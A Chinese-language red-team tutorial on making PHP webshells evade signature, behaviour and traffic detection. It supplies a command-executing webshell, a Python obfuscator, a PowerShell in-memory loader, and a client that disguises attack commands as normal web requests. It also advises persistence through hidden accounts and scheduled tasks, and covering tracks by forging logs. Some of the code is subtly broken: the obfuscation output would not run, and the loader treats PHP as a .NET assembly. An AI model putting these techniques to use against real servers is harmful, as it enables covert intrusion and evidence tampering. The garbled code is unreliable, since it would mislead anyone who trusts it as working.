0x01 攻击板块

在防御者的视角下,Webshell是一种令人头疼的攻击载体。它能够在受害者的服务器上提供后门访问,允许攻击者执行任意命令,潜在地影响服务器的安全性和稳定性。防御者常常依赖于各种检测机制来识别和清除这些恶意脚本。然而,作为攻击者,我们需要了解这些检测机制的工作原理,才能有效地设计出免杀技术。一些常见的检测方式包括:

  • 文件签名扫描:防御工具扫描文件内容,寻找已知恶意代码片段。
  • 行为分析:检测程序行为是否存在异常,比如过度访问文件和网络。
  • 流量分析:监控网络流量,识别可疑数据包。

理解这些检测方式后,我们可以反推攻击方法,设计出能够绕过检测的Webshell。

实验室搭建与工具准备

要实践Webshell免杀技术,首先需要搭建一个合适的实验环境。在本次实验中,我们将使用以下工具:

  • Web服务器:建议使用Apache或Nginx搭建一个基本的Web服务。
  • PHP环境:Webshell通常以PHP的脚本形式存在,因此需要一个支持PHP的环境。
  • 检测工具:使用ClamAV进行文件签名检测,使用Suricata进行流量分析。
  • 开发环境:Python和PowerShell是我们主要的开发语言,用于构建和测试免杀Webshell。

在服务器上安装好Apache和PHP后,我们就可以开始探索Webshell的免杀技术。

代码实现:潜伏于服务器的幽灵

下面是一段简单的PHP Webshell代码,我们将通过免杀技术进行改造:

<pre><code class="language-php">&lt;?php if(isset($_GET[&#039;cmd&#039;])){ system($_GET[&#039;cmd&#039;]); } ?&gt;</code></pre>

这段代码允许攻击者通过URL参数执行系统命令,然而,它很容易被文件签名检测工具识别。为了绕过这些检测,我们需要进行代码混淆。以下是使用Python自动化混淆的示例:

<pre><code class="language-python">import random

def obfuscate_php_code(php_code): obfuscated_code = &quot;&quot; for char in php_code: if random.choice([True, False]): obfuscated_code += &quot;\\&quot; + hex(ord(char))[1:] else: obfuscated_code += char return obfuscated_code

php_code = &quot;&lt;?php if(isset($_GET[&#039;cmd&#039;])){ system($_GET[&#039;cmd&#039;]); } ?&gt;&quot; print(obfuscate_php_code(php_code))</code></pre>

通过这种方式生成的Webshell代码看起来杂乱无章,但仍然可以正常执行。防御者很难通过简单的签名扫描检测到这种变形的代码。

绕过的艺术:无形中潜行

为了进一步躲避检测,我们还可以通过改变Webshell的行为来实现免杀。行为分析通常依赖于寻找异常活动,我们可以通过以下技巧来减少Webshell的可疑性:

无文件化技术

利用内存加载将Webshell代码直接载入内存,而不在磁盘上留下痕迹。这可以通过PowerShell进行实现:

<pre><code class="language-powershell">$Code = &quot;PD9waHAgJGlmKGlzc2V0KCRfR0VUWydjbWQnXSkpe3N5c3RlbSgkX0dFVFs...&quot;);&quot; $Bytes = [System.Convert]::FromBase64String($Code) $assembly = [System.Reflection.Assembly]::Load($Bytes)</code></pre>

这种技术对文件签名和行为检测非常有效,因为它不会产生明显的异常文件操作。

黑客示意图

混合流量策略

流量分析工具通常监控网络通信以寻找异常流量。我们可以通过伪装Webshell流量,使其看起来像正常的Web请求,从而绕过流量分析工具:

<pre><code class="language-python">import requests

def send_cmd(cmd):

模拟正常的网页请求头

headers = { &#039;User-Agent&#039;: &#039;Mozilla/5.0 (Windows NT 10.0; Win64; x64)&#039;, &#039;Accept-Language&#039;: &#039;en-US,en;q=0.5&#039;, &#039;Content-Type&#039;: &#039;application/x-www-form-urlencoded&#039; } data = {&#039;cmd&#039;: cmd} response = requests.post(&#039;http://target-server/webshell.php&#039;, headers=headers, data=data) return response.text

print(send_cmd(&#039;whoami&#039;))</code></pre>

通过这种方式发送的请求与正常的网页访问无异,更不容易被流量分析工具识别。

黑客示意图

保持隐形:清除痕迹与持续性

攻击者在使用Webshell时,往往还需要考虑维持权限和清除攻击痕迹。以下是一些常见的方法:

权限维持

黑客示意图

  • 使用计划任务或服务:通过计划任务定期执行Webshell或相关命令。
  • 隐藏的用户账户:创建隐藏账户进行长期访问。

痕迹清除

黑客示意图

  • 日志伪造:在服务器日志中插入伪造条目,混淆视听。
  • 系统还原:使用PowerShell命令恢复系统到特定时间点,抹去活动痕迹。

实战经验分享

作为一名红队成员,Webshell免杀技术是必备的技能之一。通过不断尝试新的混淆和绕过方法,我发现对抗检测工具最有效的方法是模拟正常行为,减少异常特征。真正的攻击者会深入研究目标的检测机制,并不断调整自己的攻击策略。希望通过这篇文章,能够帮助你掌握Webshell免杀技术,成为更强大的安全研究员。

声明:本文仅供授权的安全测试和研究使用,任何未经授权的攻击行为均属违法。